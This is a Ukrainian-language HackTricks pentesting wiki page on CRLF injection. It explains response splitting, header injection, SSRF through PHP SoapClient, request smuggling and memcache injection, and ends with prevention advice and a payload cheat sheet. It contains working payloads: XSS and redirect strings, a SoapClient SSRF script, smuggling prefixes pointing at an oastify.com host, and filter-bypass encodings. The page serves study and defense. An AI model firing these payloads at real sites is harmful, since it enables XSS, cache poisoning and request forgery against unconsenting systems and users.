Ukranian - Ht
HackTricks Training Twitter Linkedin Sponsor

CRLF (%0D%0A) Injection

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Підказка щодо багів у винагороду: зареєструйтеся на Intigriti, преміальній платформі для пошуку багів, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні, і почніть заробляти винагороди до $100,000!

CRLF

Повернення каретки (CR) та переведення рядка (LF), відомі разом як CRLF, - це спеціальні послідовності символів, які використовуються в протоколі HTTP для позначення кінця рядка або початку нового. Веб-сервери та браузери використовують CRLF для розрізнення між заголовками HTTP та тілом відповіді. Ці символи універсально використовуються в комунікаціях HTTP/1.1 на різних типах веб-серверів, таких як Apache та Microsoft IIS.

Уразливість впровадження CRLF

Впровадження CRLF передбачає вставку символів CR та LF у введення, надане користувачем. Ця дія вводить в оману сервер, додаток або користувача, щоб інтерпретувати впроваджену послідовність як кінець однієї відповіді та початок іншої. Хоча ці символи не є шкідливими в собі, їх недоречне використання може призвести до розділення відповіді HTTP та інших зловмисних дій.

Приклад: Впровадження CRLF у файл журналу

Приклад звідси

Припустимо, що у файлі журналу в панелі адміністратора дотримується формат: IP - Час - Шлях відвідування. Типовий запис може виглядати наступним чином:

123.123.123.123 - 08:15 - /index.php?page=home

Атакувальник може використати вразливість CRLF ін'єкції, щоб маніпулювати цим журналом. Вставляючи символи CRLF у HTTP-запит, атакувальник може змінити вихідний потік та виготовити записи в журналі. Наприклад, вставлена послідовність може перетворити запис у журналі на:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Тут %0d та %0a представляють собою закодовані у форматі URL символи CR та LF. Після атаки, журнал виведе неправдиву інформацію:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Атакуючий приховує свою зловмисну діяльність, зробивши так, що локальний хост (сутність, якій зазвичай довіряють у середовищі сервера) виконав дії. Сервер інтерпретує частину запиту, що починається з %0d%0a, як один параметр, тоді як параметр restrictedaction розбирається як інший, окремий ввід. Змінений запит ефективно імітує законну адміністративну команду: /index.php?page=home&restrictedaction=edit

Розділення HTTP-відповіді

Опис

Розділення HTTP-відповіді - це уразливість безпеки, яка виникає, коли атакуючий використовує структуру HTTP-відповідей. Ця структура розділяє заголовки від тіла за допомогою конкретної послідовності символів: символ повернення каретки (CR), за яким слідує перехід на новий рядок (LF), які разом називаються CRLF. Якщо атакуючий вдається вставити послідовність CRLF у заголовок відповіді, він може ефективно маніпулювати наступним вмістом відповіді. Цей тип маніпуляції може призвести до серйозних проблем безпеки, зокрема міжсайтового скриптінгу (XSS).

XSS через розділення HTTP-відповіді

  1. Додаток встановлює власний заголовок таким чином: X-Custom-Header: UserInput

  2. Додаток отримує значення для UserInput з параметра запиту, скажімо, "user_input". У випадках, коли відсутня належна перевірка введення та кодування, атакуючий може створити полезне навантаження, яке включає послідовність CRLF, за якою слідує зловмисний вміст.

  3. Атакуючий створює URL з особливо створеним 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

  • У цьому URL %0d%0a%0d%0a - це URL-кодована форма CRLFCRLF. Це змушує сервер вставити послідовність CRLF, що робить так, що сервер розглядає наступну частину як тіло відповіді.

  1. Сервер відображає введення атакуючого у заголовку відповіді, що призводить до непередбаченої структури відповіді, де зловмисний скрипт інтерпретується браузером як частина тіла відповіді.

Приклад розділення HTTP-відповіді, що призводить до перенаправлення

З https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Перехід до браузера:

/%0d%0aLocation:%20http://myweb.com

І сервер відповідає заголовком:

Location: http://myweb.com

Інший приклад: (з https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

У шляху URL

Ви можете відправити полезне навантаження в середині шляху URL, щоб контролювати відповідь від сервера (приклад з тут):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Перевірте більше прикладів за посиланням:

Внедрення HTTP-заголовків

Внедрення HTTP-заголовків, часто використовується через внедрення CRLF (перехід каретки та переносу рядка), дозволяє зловмисникам вставляти HTTP-заголовки. Це може підірвати механізми безпеки, такі як фільтри XSS (міжсайтовий скриптинг) або SOP (політика однакового походження), що потенційно може призвести до несанкціонованого доступу до чутливих даних, таких як токени CSRF, або маніпулювання сеансами користувачів через внесення кукі.

Використання CORS через внедрення HTTP-заголовків

Зловмисник може внести HTTP-заголовки для активації CORS (спільний обмін ресурсами між походженнями), обхід обмежень, накладених SOP. Це порушення дозволяє сценаріям зі зловмисних джерел взаємодіяти з ресурсами з іншого походження, що потенційно дає доступ до захищених даних.

SSRF та внедрення HTTP-запиту через CRLF

Внедрення CRLF може бути використане для створення та внедрення зовсім нового HTTP-запиту. Прикладом цього є вразливість в класі SoapClient PHP, зокрема в параметрі user_agent. Шляхом маніпулювання цим параметром зловмисник може вставити додаткові заголовки та тіло вмісту, або навіть внести зовсім новий HTTP-запит. Нижче наведено приклад PHP, що демонструє це використання:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Впровадження заголовків для виклику смуглості запитів

Для отримання додаткової інформації про цю техніку та потенційні проблеми перевірте оригінальне джерело.

Ви можете впроваджувати важливі заголовки, щоб забезпечити, що задній кінець тримає з'єднання відкритим після відповіді на початковий запит:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Після цього можна вказати другий запит. Цей сценарій зазвичай включає HTTP request smuggling, техніку, де додаткові заголовки або елементи тіла, додані сервером після ін'єкції, можуть призвести до різних експлойтів безпеки.

Експлуатація:

  1. Впровадження зловмисного префіксу: Цей метод передбачає отруєння наступного запиту користувача або веб-кешу шляхом вказання зловмисного префіксу. Приклад:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%a HTTP/1.1

  1. Створення префіксу для отруєння черги відповідей: Цей підхід передбачає створення префіксу, який, у поєднанні з хвостовим сміттям, формує повний другий запит. Це може спричинити отруєння черги відповідей. Приклад:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Впровадження в Memcache

Memcache - це сховище ключ-значення, яке використовує протокол чіткого тексту. Додаткова інформація:

page11211 - Pentesting Memcache

Для отримання повної інформації прочитайте оригінальний опис

Якщо платформа бере дані з HTTP-запиту і використовує їх без санітаріїзації для виконання запитів до сервера memcache, злоумисник може скористатися цим, щоб впроваджувати нові команди memcache.

Наприклад, у виявленому уразливості використовувалися ключі кешу для повернення IP та порту, до якого мав підключитися користувач, і злоумисники могли впроваджувати команди memcache, які отруювали кеш для відправки даних жертвам (включаючи імена користувачів та паролі) на сервери злоумисника:

Більше того, дослідники також виявили, що вони могли розсинхронізувати відповіді memcache, щоб відправляти IP-адреси та порти злоумисників користувачам, чиїх електронних адрес злоумисник не знав:

Як запобігти CRLF / Впровадження HTTP-заголовків в веб-додатках

Для зменшення ризиків CRLF (повернення каретки та перехід на новий рядок) або впровадження HTTP-заголовків в веб-додатках рекомендується використовувати наступні стратегії:

  1. Уникайте прямого введення користувача в заголовки відповідей: Найбезпечніший підхід - утримуватися від включення введення, наданого користувачем, безпосередньо в заголовки відповідей.

  2. Кодуйте спеціальні символи: Якщо уникнути прямого введення користувача неможливо, переконайтеся, що використовуєте функцію, призначену для кодування спеціальних символів, таких як CR (повернення каретки) та LF (перехід на новий рядок). Ця практика запобігає можливості впровадження CRLF.

  3. Оновлюйте мову програмування: Регулярно оновлюйте мову програмування, яку використовуєте у ваших веб-додатках, до останньої версії. Вибирайте версію, яка вбудовано не дозволяє впровадження символів CR та LF у функціях, що відповідають за встановлення HTTP-заголовків.

ШПАРГАЛКА

Шпаргалка тут

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Автоматичні Інструменти

Список Виявлення Брутфорсу

Посилання

Підказка щодо багів: зареєструйтесь на Intigriti, преміальній платформі для пошуку багів, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні, і почніть заробляти винагороди до $100,000!

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

PreviousCORS - Misconfigurations & BypassNextCSRF (Cross Site Request Forgery)

Last updated